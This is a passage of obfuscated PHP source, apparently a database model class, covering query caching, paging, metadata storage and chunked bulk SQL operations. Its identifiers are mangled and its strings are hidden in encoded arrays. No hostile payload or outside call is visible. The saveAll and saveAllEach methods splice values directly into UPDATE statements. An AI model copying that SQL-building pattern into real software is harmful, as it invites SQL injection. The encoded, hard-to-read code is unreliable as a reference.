($é°¡©ß¯) { $this->delete($é°¡©ß¯); } } public function getAutoIncrement() { $êæ¥ã<C2A5>ü = $this->getTableName(); $ƒ<>Ï¡àú = $this->max($this->getPk()); $ÌóØ©íæ = $this->query("\163\150\x6f\x77\40\164\141\x62\x6c\x65\x20\x73\164\141\x74\x75\163\x20\x77\150\x65\x72\145\x20\x4e\141\155\145\75\x27{$êæ¥ã<C2A5>ü}\47"); $îåц¬ = $ÌóØ©íæ[0][$_SERVER[ˆ¡¹µ‹Â][436]]; $Áêø˜ÀÈ = max($ƒ<>Ï¡àú, $îåц¬); return $Áêø˜ÀÈ; } protected function _callBefore($ðͦЧ–, $ãö¶µ<C2B6>¸) { return $this->cacheCallCheck($ðͦЧ–, $ãö¶µ<C2B6>¸, !1); } protected function _callAfter($ʪé<C2AA>õú, $È<>×¢ÆØ) { return $this->cacheCallCheck($ʪé<C2AA>õú, $È<>×¢ÆØ, !0); } protected function cacheFunctionAlias($¹ª®›£ë) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ÜÓý­§ß, $º©ÃºÏ¼, $·Èüöýø = false) { $²ƒ´¤–Ý = $this->cacheFunctionAlias($º©ÃºÏ¼); if (!$²ƒ´¤–Ý) { return; } foreach ($²ƒ´¤–Ý as $¢¹Ô™¡Í => $×Ó”Îþ¯) { $<24>‡ÍŒ£Ø = $×Ó”Îþ¯[0]; $í—ˆ‹Ã€ = explode($_SERVER[ˆ¡¹µ‹Â][50], $×Ó”Îþ¯[1]); if ($ÜÓý­§ß == $¢¹Ô™¡Í) { return $this->cacheFunctionGet($¢¹Ô™¡Í, $<24>‡ÍŒ£Ø); } if ($·Èüöýø && in_array($ÜÓý­§ß, $í—ˆ‹Ã€)) { $this->cacheFunctionClear($¢¹Ô™¡Í, $<24>‡ÍŒ£Ø); } } } public function cacheFunctionGet($Ö¬øïˆÒ, $ñ‚©Œþþ) { $טñÑ–» = $this->cacheKeyMake($Ö¬øïˆÒ, $ñ‚©Œþþ); $‰€ß<E28098>½ = Cache::get($טñÑ–»); if (!is_array($‰€ß<E28098>½)) { $‰€ß<E28098>½ = call_user_func_array(array($this, $Ö¬øïˆÒ), array($ñ‚©Œþþ, !0)); Cache::set($טñÑ–», $‰€ß<E28098>½); } return $‰€ß<E28098>½; } public function cacheFunctionClear($í²‚¿Ëø, $<24>¨”ÕÍí) { $è÷—<C3B7>òº = $<24>¨”ÕÍí; if (!is_array($<24>¨”ÕÍí)) { $è÷—<C3B7>òº = array($<24>¨”ÕÍí); } foreach ($è÷—<C3B7>òº as $ð<>¬žáÜ) { $³Œ±’ö¡ = $this->cacheKeyMake($í²‚¿Ëø, $ð<>¬žáÜ); Cache::remove($³Œ±’ö¡); } } private function cacheKeyMake($šï†™<E280A0>¾, $Ó™øé÷Ü) { $ù×­<C397>Þœ =& $_SERVER[ˆ¡¹µ‹Â]; return get_class($this) . $ù×­<C397>Þœ[11] . $šï†™<E280A0>¾ . $ù×­<C397>Þœ[437] . $Ó™øé÷Ü; } protected function selectPageReset() { $ß„žìß‚ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($GLOBALS[$ß„žìß‚[438]])) { return; } $GLOBALS[$ß„žìß‚[438]] = isset($GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[439]]) ? $GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[439]] : !1; $GLOBALS[$ß„žìß‚[440]] = isset($GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[429]]) ? $GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[429]] : !1; $GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[439]] = !1; $GLOBALS[$ß„žìß‚[7]][$ß„žìß‚[429]] = !1; } protected function selectPageRestore() { $œ¼òåÛ’ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($GLOBALS[$œ¼òåÛ’[438]])) { return; } $GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[439]] = $GLOBALS[$œ¼òåÛ’[438]]; $GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[429]] = $GLOBALS[$œ¼òåÛ’[440]]; if ($GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[439]] === !1) { unset($GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[439]]); } if ($GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[429]] === !1) { unset($GLOBALS[$œ¼òåÛ’[7]][$œ¼òåÛ’[429]]); } unset($GLOBALS[$œ¼òåÛ’[438]]); unset($GLOBALS[$œ¼òåÛ’[440]]); } protected function selectPage($…ñØóïê = 200, $½ñ€²Ø€ = 1) { $ÍûÔ‘Š… =& $_SERVER[ˆ¡¹µ‹Â]; global $in; $²õ›ÒåÈ = $this->optionsValue(); $ëÈú¢™¯ = 50000; $…ñØóïê = isset($in[$ÍûÔ‘Š…[439]]) && $in[$ÍûÔ‘Š…[439]] ? $in[$ÍûÔ‘Š…[439]] : $…ñØóïê; if ($…ñØóïê === -1) { $in[$ÍûÔ‘Š…[439]] = !1; $ëÈú¢™¯ = 100000000; $…ñØóïê = $ëÈú¢™¯; } $¸…›˜á© = $²õ›ÒåÈ; $¸…›˜á©[$ÍûÔ‘Š…[441]] = array(); $…ñØóïê = intval($…ñØóïê); $…ñØóïê = $…ñØóïê <= 5 ? 5 : ($…ñØóïê >= $ëÈú¢™¯ ? $ëÈú¢™¯ : $…ñØóïê); $½ñ€²Ø€ = intval(isset($in[$ÍûÔ‘Š…[429]]) && $in[$ÍûÔ‘Š…[429]] ? $in[$ÍûÔ‘Š…[429]] : $½ñ€²Ø€); $½ñ€²Ø€ = $½ñ€²Ø€ <= 1 ? 1 : $½ñ€²Ø€; $®âÞŒ¨â = array(); $¦ÑÓÑñŒ = 1; if ($½ñ€²Ø€ == 1 && $¦ÑÓÑñŒ) { $this->optionsValue($²õ›ÒåÈ); $®âÞŒ¨â = $this->page($½ñ€²Ø€, $…ñØóïê)->select(); $Úã™á·Û = is_array($®âÞŒ¨â) ? count($®âÞŒ¨â) : 0; if ($Úã™á·Û < $…ñØóïê) { $±äï¼Ìí = 1; } else { $this->optionsValue($¸…›˜á©); $Úã™á·Û = intval($this->count()); $±äï¼Ìí = ceil($Úã™á·Û / $…ñØóïê); } } else { $this->optionsValue($¸…›˜á©); $Úã™á·Û = intval($this->count()); $±äï¼Ìí = ceil($Úã™á·Û / $…ñØóïê); $½ñ€²Ø€ = $½ñ€²Ø€ >= $±äï¼Ìí ? $±äï¼Ìí : $½ñ€²Ø€; $this->optionsValue($²õ›ÒåÈ); $®âÞŒ¨â = $this->page($½ñ€²Ø€, $…ñØóïê)->select(); } if (!is_array($®âÞŒ¨â)) { $®âÞŒ¨â = array(); } if ($±äï¼Ìí == 1) { $Úã™á·Û = count($®âÞŒ¨â); } $ïýì¡ïÞ = array($ÍûÔ‘Š…[442] => array($ÍûÔ‘Š…[443] => $Úã™á·Û, $ÍûÔ‘Š…[439] => $…ñØóïê, $ÍûÔ‘Š…[429] => $½ñ€²Ø€, $ÍûÔ‘Š…[444] => $±äï¼Ìí), $ÍûÔ‘Š…[445] => $®âÞŒ¨â); return $ïýì¡ïÞ; } protected function checkLength($̉¿œË†, $‘¼ãÑÏÔ = 0, $ij詷ƒ = '') { $<24>éòÆ¬Š =& $_SERVER[ˆ¡¹µ‹Â]; $‘¼ãÑÏÔ = $‘¼ãÑÏÔ ? $‘¼ãÑÏÔ : 65536; if (!$̉¿œË† || strlen($̉¿œË†) < $‘¼ãÑÏÔ) { return; } $ij詷ƒ = $ij詷ƒ ? $ij詷ƒ . $<24>éòƬŠ[74] : $<24>éòƬŠ[12]; show_json($ij詷ƒ . LNG($<24>éòƬŠ[446]) . "\50{$‘¼ãÑÏÔ}\x29", !1); } protected function metaSet($ö›ÃùÂÝ, $<24>ΟŽÍÓ = null, $³¼çðÏš = null) { $¦ýÎ<C3BD>àæ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->tableMeta || !$ö›ÃùÂÝ) { return !1; } $¬ùÄÂå¶ = $this->tableMeta[$¦ýÎ<C3BD>àæ[447]]; $óñŽ<C3B1>ó° = $this->tableMeta[$¦ýÎ<C3BD>àæ[448]]; $·ò¡<C3B2>— = Model($óñŽ<C3B1>ó°); $ù‰¡§Ñ² = array($¬ùÄÂå¶ => $ö›ÃùÂÝ, $¦ýÎ<C3BD>àæ[449] => $<24>ΟŽÍÓ); if (is_null($<24>ΟŽÍÓ)) { return $·ò¡<C3B2>—->where(array($¬ùÄÂå¶ => $ö›ÃùÂÝ))->delete(); } if (is_null($³¼çðÏš) && is_string($<24>ΟŽÍÓ)) { return $·ò¡<C3B2>—->where($ù‰¡§Ñ²)->delete(); } $áäî•ñê = is_array($<24>ΟŽÍÓ) ? $<24>ΟŽÍÓ : array(); if (is_string($<24>ΟŽÍÓ)) { $áäî•ñê[$<24>ΟŽÍÓ] = $³¼çðÏš; } $<24>Îûûø = array(); foreach ($áäî•ñê as $ óöÖÄì => $•<>Ù½³æ) { if (is_null($•<>Ù½³æ) && is_string($ óöÖÄì)) { $·ò¡<C3B2>—->where(array($¬ùÄÂå¶ => $ö›ÃùÂÝ, $¦ýÎ<C3BD>àæ[449] => $ óöÖÄì))->delete(); continue; } $this->checkLength($•<>Ù½³æ, !1, $óñŽ<C3B1>ó° . $¦ýÎ<C3BD>àæ[4] . $ óöÖÄì); $<24>Îûûø[] = array($¬ùÄÂå¶ => $ö›ÃùÂÝ, $¦ýÎ<C3BD>àæ[97] => $ óöÖÄì, $¦ýÎ<C3BD>àæ[450] => $•<>Ù½³æ); } $¥ÐõĆ“ = $¦ýÎ<C3BD>àæ[451] . $óñŽ<C3B1>ó°; CacheLock::lock($¥ÐõĆ“); $·ò¡<C3B2>—->where(array($¬ùÄÂå¶ => $ö›ÃùÂÝ))->addAll($<24>Îûûø, array(), !0); CacheLock::unlock($¥ÐõĆ“); return !0; } public function metaGet($á”¶Š¨ , $¢Ðˆö©÷ = false) { $Ô¥Œ¬ñ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->tableMeta) { return array(); } $™”ç–…Á = $this->tableMeta[$Ô¥Œ¬ñ[447]]; $üÓÝÑê• = Model($this->tableMeta[$Ô¥Œ¬ñ[448]]); if ($¢Ðˆö©÷) { $äí¢ÔÛ‹ = array($™”ç–…Á => $á”¶Š¨ , $Ô¥Œ¬ñ[97] => $¢Ðˆö©÷); return $üÓÝÑê•->where($äí¢ÔÛ‹)->getField($Ô¥Œ¬ñ[450]); } $äí¢ÔÛ‹ = array($™”ç–…Á => $á”¶Š¨ ); $êù•«ìë = $üÓÝÑê•->field($Ô¥Œ¬ñ[452])->where($äí¢ÔÛ‹)->select(); $êù•«ìë = array_to_keyvalue($êù•«ìë, $Ô¥Œ¬ñ[97], $Ô¥Œ¬ñ[450]); return $êù•«ìë; } private function checkDataAutoHas($¾µ÷ͪ¾) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $¨’î×í‰) { if (in_array($¾µ÷ͪ¾, explode($_SERVER[ˆ¡¹µ‹Â][50], $¨’î×í‰[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$¾Ëèªî¥, $ô餱ƒ‰) { $ƒü©Ÿè’ =& $_SERVER[ˆ¡¹µ‹Â]; if (!is_array($¾Ëèªî¥)) { return; } foreach ($this->dataAuto as $òàà¬ûì) { $Óè€ÏÄ<C38F> = $òàà¬ûì[0]; if (!in_array($ô餱ƒ‰, explode($ƒü©Ÿè’[50], $òàà¬ûì[2]))) { continue; } switch (trim($òàà¬ûì[3])) { case $ƒü©Ÿè’[397]: case $ƒü©Ÿè’[398]: $¦àЯ¸ù = $òàà¬ûì[1]; $óçÛå‚„ = isset($òàà¬ûì[4]) ? (array) $òàà¬ûì[4] : array(); if ($¦àЯ¸ù == $ƒü©Ÿè’[206] && array_key_exists($Óè€ÏÄ<C38F>, $¾Ëèªî¥)) { if (!$¾Ëèªî¥[$Óè€ÏÄ<C38F>]) { unset($¾Ëèªî¥[$Óè€ÏÄ<C38F>]); } break; } if (isset($¾Ëèªî¥[$Óè€ÏÄ<C38F>])) { array_unshift($óçÛå‚„, $¾Ëèªî¥[$Óè€ÏÄ<C38F>]); } if ($ƒü©Ÿè’[397] == $òàà¬ûì[3]) { $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = call_user_func_array($¦àЯ¸ù, $óçÛå‚„); } else { $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = call_user_func_array(array(&$this, $¦àЯ¸ù), $óçÛå‚„); } break; case $ƒü©Ÿè’[347]: if (isset($¾Ëèªî¥[$Óè€ÏÄ<C38F>]) && $¾Ëèªî¥[$Óè€ÏÄ<C38F>]) { $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = call_user_func_array(array(&$this, $òàà¬ûì[1]), array($¾Ëèªî¥[$Óè€ÏÄ<C38F>])); } break; case $ƒü©Ÿè’[350]: $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = $¾Ëèªî¥[$òàà¬ûì[1]]; break; case $ƒü©Ÿè’[370]: if (isset($¾Ëèªî¥[$Óè€ÏÄ<C38F>]) && !is_string($¾Ëèªî¥[$Óè€ÏÄ<C38F>])) { $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = json_encode_force($¾Ëèªî¥[$Óè€ÏÄ<C38F>]); } break; case $ƒü©Ÿè’[399]: if ($¾Ëèªî¥[$Óè€ÏÄ<C38F>] === $ƒü©Ÿè’[12]) { unset($¾Ëèªî¥[$Óè€ÏÄ<C38F>]); } break; case $ƒü©Ÿè’[400]: $¾Ëèªî¥[$Óè€ÏÄ<C38F>] = $òàà¬ûì[1]; default: break; } } if ($ô餱ƒ‰ == $ƒü©Ÿè’[431]) { $éŽØòÈï = strtolower($this->db->getDbType()); if (strpos($éŽØòÈï, $ƒü©Ÿè’[13]) !== 0) { return; } $¸’ÖåÀ¼ = $this->field(!0)->fields; $ÃÞ¡¬¾¼ = $¸’ÖåÀ¼[$ƒü©Ÿè’[329]]; if (isset($¸’ÖåÀ¼[$ƒü©Ÿè’[328]])) { unset($ÃÞ¡¬¾¼[$¸’ÖåÀ¼[$ƒü©Ÿè’[328]]]); } foreach ($ÃÞ¡¬¾¼ as $Ù…ƒÉÖ“ => $ô餱ƒ‰) { if (!isset($¾Ëèªî¥[$Ù…ƒÉÖ“])) { $¾Ëèªî¥[$Ù…ƒÉÖ“] = $ƒü©Ÿè’[12]; } } } } private function dataAfterFilter(&$Þý»ª†±) { $Û‚¢•Þ€ =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($this->dataAuto as $³öÔÂÄ<C382>) { $”<>àÈÕŽ = $³öÔÂÄ<C382>[0]; if (!isset($Þý»ª†±[$”<>àÈÕŽ])) { continue; } if (!in_array($Û‚¢•Þ€[433], explode($Û‚¢•Þ€[50], $³öÔÂÄ<C382>[2]))) { continue; } switch (trim($³öÔÂÄ<C382>[3])) { case $Û‚¢•Þ€[397]: case $Û‚¢•Þ€[398]: $èÁ½Ò<C2BD>¥ = isset($³öÔÂÄ<C382>[4]) ? (array) $³öÔÂÄ<C382>[4] : array(); array_unshift($èÁ½Ò<C2BD>¥, $Þý»ª†±[$”<>àÈÕŽ]); if (isset($³öÔÂÄ<C382>[4]) && $³öÔÂÄ<C382>[4] == $Û‚¢•Þ€[453]) { $èÁ½Ò<C2BD>¥ = array($Þý»ª†±[$”<>àÈÕŽ]); } if ($Û‚¢•Þ€[397] == $³öÔÂÄ<C382>[3]) { $Þý»ª†±[$”<>àÈÕŽ] = call_user_func_array($³öÔÂÄ<C382>[1], $èÁ½Ò<C2BD>¥); } else { $Þý»ª†±[$”<>àÈÕŽ] = call_user_func_array(array(&$this, $³öÔÂÄ<C382>[1]), $èÁ½Ò<C2BD>¥); } break; case $Û‚¢•Þ€[347]: if (isset($Þý»ª†±[$”<>àÈÕŽ]) && $Þý»ª†±[$”<>àÈÕŽ]) { $Þý»ª†±[$”<>àÈÕŽ] = call_user_func_array(array(&$this, $³öÔÂÄ<C382>[1]), array($Þý»ª†±[$”<>àÈÕŽ])); } break; case $Û‚¢•Þ€[350]: $Þý»ª†±[$”<>àÈÕŽ] = $Þý»ª†±[$³öÔÂÄ<C382>[1]]; break; case $Û‚¢•Þ€[370]: $ÌùÌêÒ = $Þý»ª†±[$”<>àÈÕŽ]; $Þý»ª†±[$”<>àÈÕŽ] = json_decode($ÌùÌêÒ, !0); if (is_null($Þý»ª†±[$”<>àÈÕŽ])) { $Þý»ª†±[$”<>àÈÕŽ] = $ÌùÌêÒ; } break; case $Û‚¢•Þ€[399]: if ($Þý»ª†±[$”<>àÈÕŽ] === $Û‚¢•Þ€[12]) { unset($Þý»ª†±[$”<>àÈÕŽ]); } break; case $Û‚¢•Þ€[400]: $Þý»ª†±[$”<>àÈÕŽ] = $³öÔÂÄ<C382>[1]; break; default: break; } } } public function saveAll($ŠÈô€«<E282AC>) { $õ°íÄåÛ =& $_SERVER[ˆ¡¹µ‹Â]; $â•ÎÜøæ = $this->tablePrefix . $this->tableName; $ç»ÀÛ‚à = self::SQL_WHERE_IN_CHUNK; $ŠÈô€«<E282AC> = is_array($ŠÈô€«<E282AC>) ? $ŠÈô€«<E282AC> : array(); $£æýȆç = $õ°íÄåÛ[454]; $†‡õ¹ðÔ = 0; $ŽñæÏ±Å = array(); $¯éí³ƒµ = count($ŠÈô€«<E282AC>); for ($­ ´’Ä“ = 0; $­ ´’Ä“ < $¯éí³ƒµ; $­ ´’Ä“++) { $è寮üÒ = $ŠÈô€«<E282AC>[$­ ´’Ä“]; if (!is_array($è寮üÒ) || count($è寮üÒ) != 4) { continue; } $´ÞîÖýà = "\x55\x50\x44\101\x54\x45\40\x60{$â•ÎÜøæ}\140\40\123\105\x54\40{$è寮üÒ[2]}\40\x3d\x20\103\x41\123\105\x20{$è寮üÒ[0]}\x20\xa"; if ($†‡õ¹ðÔ == 0) { $£æýȆç = $´ÞîÖýÃ; } $ŽñæÏ±Å[] = $õ°íÄåÛ[121] . $è寮üÒ[1] . $õ°íÄåÛ[121]; $†‡õ¹ðÔ++; $£æýȆç .= "\40\x57\x48\x45\x4e\40\47{$è寮üÒ[1]}\47\40\x54\110\x45\116\40\x27{$è寮üÒ[3]}\47\40\xa"; if ($†‡õ¹ðÔ == $ç»ÀÛ‚à || $­ ´’Ä“ == $¯éí³ƒµ - 1) { $”Ì<E2809D>Ãð¯ = implode($õ°íÄåÛ[50], $ŽñæÏ±Å); $£æýȆç .= "\40\105\116\x44\40\40\127\x48\105\x52\105\40{$è寮üÒ[0]}\x20\111\x4e\40\50{$”Ì<E2809D>Ãð¯}\x29\40"; $this->execute($£æýȆç); $†‡õ¹ðÔ = 0; $£æýȆç = $´ÞîÖýÃ; $this->chunkEventCheck(count($ŽñæÏ±Å)); $ŽñæÏ±Å = array(); } } $this->chunkEventSet(); } public function saveAllEach($µÖ<C2B5>Çë•) { $–ôþ‘㜠=& $_SERVER[ˆ¡¹µ‹Â]; $¸Þ«ƒ†‰ = $this->tablePrefix . $this->tableName; foreach ($µÖ<C2B5>Çë• as $˜›Ãý®é) { if (!is_array($˜›Ãý®é) || count($˜›Ãý®é) != 4) { continue; } $׺¼á“ž = $˜›Ãý®é[0] . $–ôþ‘ãœ[455] . $˜›Ãý®é[1] . $–ôþ‘ãœ[121]; $‰üßÖ†œ = $˜›Ãý®é[2] . $–ôþ‘ãœ[455] . $˜›Ãý®é[3] . $–ôþ‘ãœ[121]; $õšžá­¦ = "\165\160\144\x61\x74\x65\40{$¸Þ«ƒ†‰}\40\x73\x65\164\x20{$‰üßÖ†œ}\x20\x77\150\x65\162\145\x20{$׺¼á“ž}\x3b"; $this->execute($õšžá­¦); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ªá<C2AA>È׺ = false, $õ”ž<E2809D>˜ = false) { $this->_chunkEvent = $ªá<C2AA>È׺; $this->_chunkEventParam = $õ”ž<E2809D>˜; } private function chunkEventCheck($æ…ÛÙÖ) { if (!$this->_chunkEvent) { return; } $’£‰ÐøÃ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $’£‰ÐøÃ[$_SERVER[ˆ¡¹µ‹Â][456]] = $æ…ÛÙÖ; Hook::trigger($this->_chunkEvent, $’£‰ÐøÃ); } public function addAll($<24>‡Ñ±ý, $٧ñ½É = array(), $<24>שåÐ<C3A5> = false) { $Ë«åïµã =& $_SERVER[ˆ¡¹µ‹Â]; ignore_timeout(); $èǸ‹ïÎ = self::SQL_WHERE_IN_CHUNK; if (empty($<24>‡Ñ±ý)) { $this->error = think_lang($Ë«åïµã[348]); return !1; } $٧ñ½É = $this->_parseOptions($٧ñ½É); foreach ($<24>‡Ñ±ý as $³ìÑ¸é€ => $¦´²«›µ) { $<24>‡Ñ±ý[$³ìѸé€] = $this->_facade($¦´²«›µ); $this->_beforeInsert($<24>‡Ñ±ý[$³ìѸé€], $٧ñ½É); } if (method_exists($this->db, $Ë«åïµã[349])) { for ($»–Ù—«í = 0; $»–Ù—«í < count($<24>‡Ñ±ý); $»–Ù—«í += $èǸ‹ïÎ) { $ÂÒÙûܧ = array_slice($<24>‡Ñ±ý, $»–Ù—«í, $èǸ‹ïÎ); if (!is_array($ÂÒÙûܧ) || count($ÂÒÙûܧ) == 0) { break; } $ãÑÁ–Á¨ = $this->db->insertAll($ÂÒÙûܧ, $٧ñ½É, $<24>שåÐ<C3A5>); $this->chunkEventCheck(count($ÂÒÙûܧ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($<24>‡Ñ±ý as $³ìÑ¸é€ => $¦´²«›µ) { $ãÑÁ–Á¨ = $this->db->insert($¦´²«›µ, $٧ñ½É, $<24>שåÐ<C3A5>); } $this->commit(); } if (!1 !== $ãÑÁ–Á¨) { $áç Þø× = $this->getLastInsID(); if ($áç Þø×) { return $áç Þø×; } } return $ãÑÁ–Á¨; } public function save($•ºìÃƒÖ = '', $ò«¼ï©³ = array()) { $þ­ÙŠÖí =& $_SERVER[ˆ¡¹µ‹Â]; $±•æÏÅ÷ = self::SQL_WHERE_IN_CHUNK; $ËÞ¶ŽØ® = $this->optionsValue(); $óïûÃÍ“ = $this->findWhereField($ËÞ¶ŽØ®); if (!$óïûÃÍ“) { return parent::save($•ºìÃÖ, $ò«¼ï©³); } $òÙç¥«Ñ = 0; $×Ê<E280B9>°¤ = $ËÞ¶ŽØ®[$þ­ÙŠÖí[352]][$óïûÃÍ“][1]; $×Ê<E280B9>°¤ = is_array($×Ê<E280B9>°¤) ? $×Ê<E280B9>°¤ : array(); $<24>йգ = count($×Ê<E280B9>°¤); for ($åÍ¦ÖØˆ = 0; $åÍ¦ÖØˆ < $<24>йգ; $åÍ¦ÖØˆ += $±•æÏÅ÷) { $àí¼­ ² = array_slice($×Ê<E280B9>°¤, $åÍ¦ÖØˆ, $±•æÏÅ÷); if (!is_array($àí¼­ ²) || count($àí¼­ ²) == 0) { break; } $ËÞ¶ŽØ®[$þ­ÙŠÖí[352]][$óïûÃÍ“][1] = $àí¼­ ²; $this->optionsValue($ËÞ¶ŽØ®); $òÙç¥«Ñ += parent::save($•ºìÃÖ, $ò«¼ï©³); $this->chunkEventCheck(count($àí¼­ ²)); } $this->chunkEventSet(); return $òÙ祫Ñ; } public function add($÷‰êø«‡ = '', $˜ÈœÔ³¨ = array(), $º‹ˆ·à³ = false) { if ($this->addTaskStatus && is_array($÷‰êø«‡)) { $this->addTaskData[] = $÷‰êø«‡; return; } return parent::add($÷‰êø«‡, $˜ÈœÔ³¨, $º‹ˆ·à³); } public function parseWhereLike($ɸܺÐÒ, $·êÑçÚ° = '', $¹‘±Éº— = false, &$É‚”—ñ¾ = false) { $¢¬Â½æ£ =& $_SERVER[ˆ¡¹µ‹Â]; $æùÏ÷ǵ = $GLOBALS[$¢¬Â½æ£[6]][$¢¬Â½æ£[457]]; if (!$æùÏ÷ǵ[$¢¬Â½æ£[458]]) { return $ɸܺÐÒ; } if (!is_array($ɸܺÐÒ)) { return $ɸܺÐÒ; } $»ÅÉÈö¿ = array(); $ñóÈ”âÛ = 0; foreach ($ɸܺÐÒ as $¹üȆªÔ => $ÁÌöØõÄ) { if (is_array($ÁÌöØõÄ) && count($ÁÌöØõÄ) == 2 && $ÁÌöØõÄ[0] == $¢¬Â½æ£[459] && is_string($ÁÌöØõÄ[1]) && substr($ÁÌöØõÄ[1], 0, 1) == $¢¬Â½æ£[460] && substr($ÁÌöØõÄ[1], strlen($ÁÌöØõÄ[1]) - 1, 1) == $¢¬Â½æ£[460]) { $É‚”—ñ¾ = !0; $¶ÞžÓ†á = is_string($¹üȆªÔ) ? $¹üȆªÔ : $·êÑçÚ°; $×÷û¯Î™ = substr($ÁÌöØõÄ[1], 1, strlen($ÁÌöØõÄ[1]) - 2); $×÷û¯Î™ = $this->db->escapeString($×÷û¯Î™); if (!strpos($¶ÞžÓ†á, $¢¬Â½æ£[10])) { $¶ÞžÓ†á = $¢¬Â½æ£[461] . $¶ÞžÓ†á . $¢¬Â½æ£[461]; } $‚‘ßðé§ = $¢¬Â½æ£[220] . $×÷û¯Î™ . $¢¬Â½æ£[220]; $×÷û¯Î™ = str_replace(array($¢¬Â½æ£[10], $¢¬Â½æ£[462], $¢¬Â½æ£[11]), $¢¬Â½æ£[463], $×÷û¯Î™); if ($æùÏ÷ǵ[$¢¬Â½æ£[464]]) { $‚‘ßðé§ = $¢¬Â½æ£[465] . $×÷û¯Î™ . $¢¬Â½æ£[466]; if ($æùÏ÷ǵ[$¢¬Â½æ£[467]]) { $‚‘ßðé§ = $¢¬Â½æ£[466] . $×÷û¯Î™ . $¢¬Â½æ£[465]; } } $»ÅÉÈö¿[$ñóÈ”âÛ] = $¢¬Â½æ£[468] . $¶ÞžÓ†á . $¢¬Â½æ£[469] . $‚‘ßðé§ . $¢¬Â½æ£[470]; $ñóÈ”âÛ++; continue; } if (is_array($ÁÌöØõÄ)) { $·êÑçÚ° = is_string($¹üȆªÔ) ? $¹üȆªÔ : $·êÑçÚ°; $ÁÌöØõÄ = $this->parseWhereLike($ÁÌöØõÄ, $·êÑçÚ°, !0, $É‚”—ñ¾); } if (is_numeric($¹üȆªÔ)) { $»ÅÉÈö¿[$ñóÈ”âÛ] = $ÁÌöØõÄ; $ñóÈ”âÛ++; } else { $»ÅÉÈö¿[$¹üȆªÔ] = $ÁÌöØõÄ; } } if ($É‚”—ñ¾ && !$¹‘±Éº—) { } return $»ÅÉÈö¿; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ÇæÙ©<C399>þ = array()) { $<24>¢¾×‰ƒ =& $_SERVER[ˆ¡¹µ‹Â]; $°¥ÙͲ  = self::SQL_WHERE_IN_CHUNK; $àù¶ÏšÜ = $this->optionsValue(); $ÌÜßúê = $this->findWhereField($àù¶ÏšÜ); if (!$ÌÜßúê || isset($àù¶ÏšÜ[$<24>¢¾×‰ƒ[368]]) || isset($àù¶ÏšÜ[$<24>¢¾×‰ƒ[429]])) { return parent::select($ÇæÙ©<C399>þ); } $<24><>»Ÿêä = $àù¶ÏšÜ[$<24>¢¾×‰ƒ[352]][$ÌÜßúê][1]; $<24><>»Ÿêä = is_array($<24><>»Ÿêä) ? $<24><>»Ÿêä : array(); $¢¼ß£¿× = null; for ($ª‰øþÝþ = 0; $ª‰øþÝþ < count($<24><>»Ÿêä); $ª‰øþÝþ += $°¥ÙͲ ) { $Οʣ±<C2A3> = array_slice($<24><>»Ÿêä, $ª‰øþÝþ, $°¥ÙͲ ); if (!is_array($Οʣ±<C2A3>) || count($Οʣ±<C2A3>) == 0) { break; } $àù¶ÏšÜ[$<24>¢¾×‰ƒ[352]][$ÌÜßúê][1] = $Οʣ±<C2A3>; $this->optionsValue($àù¶ÏšÜ); $ôôôÏÃÊ = parent::select($ÇæÙ©<C399>þ); if (!$ôôôÏÃÊ) { continue; } $¢¼ß£¿× = is_array($¢¼ß£¿×) ? $¢¼ß£¿× : array(); $¢¼ß£¿× = array_merge($¢¼ß£¿×, $ôôôÏÃÊ); } return $¢¼ß£¿×; } public function delete($±ÉÞ²šÓ = array()) { $ô±É¯Ý« =& $_SERVER[ˆ¡¹µ‹Â]; $¿ºþʰµ = self::SQL_WHERE_IN_CHUNK; $ŒŸ²’¹„ = $this->optionsValue(); $—‹¬»Éî = $this->findWhereField($ŒŸ²’¹„); if (!$—‹¬»Éî) { return parent::delete($±ÉÞ²šÓ); } $Öíü›Ãõ = 0; $¶»ÜÑ»ð = $ŒŸ²’¹„[$ô±É¯Ý«[352]][$—‹¬»Éî][1]; $¶»ÜÑ»ð = is_array($¶»ÜÑ»ð) ? $¶»ÜÑ»ð : array(); for ($ÞÉ¿ÛàÓ = 0; $ÞÉ¿ÛàÓ < count($¶»ÜÑ»ð); $ÞÉ¿ÛàÓ += $¿ºþʰµ) { $ø‘á›ßÊ = array_slice($¶»ÜÑ»ð, $ÞÉ¿ÛàÓ, $¿ºþʰµ); if (!is_array($ø‘á›ßÊ) || count($ø‘á›ßÊ) == 0) { break; } $ŒŸ²’¹„[$ô±É¯Ý«[352]][$—‹¬»Éî][1] = $ø‘á›ßÊ; $this->optionsValue($ŒŸ²’¹„); $Öíü›Ãõ += parent::delete($±ÉÞ²šÓ); } return $Öíü›Ãõ; } private function findWhereField($¼¸Õœ­Ô) { $üô£ßº• =& $_SERVER[ˆ¡¹µ‹Â]; $ËËŽÑŠ€ = self::SQL_WHERE_IN_CHUNK; if 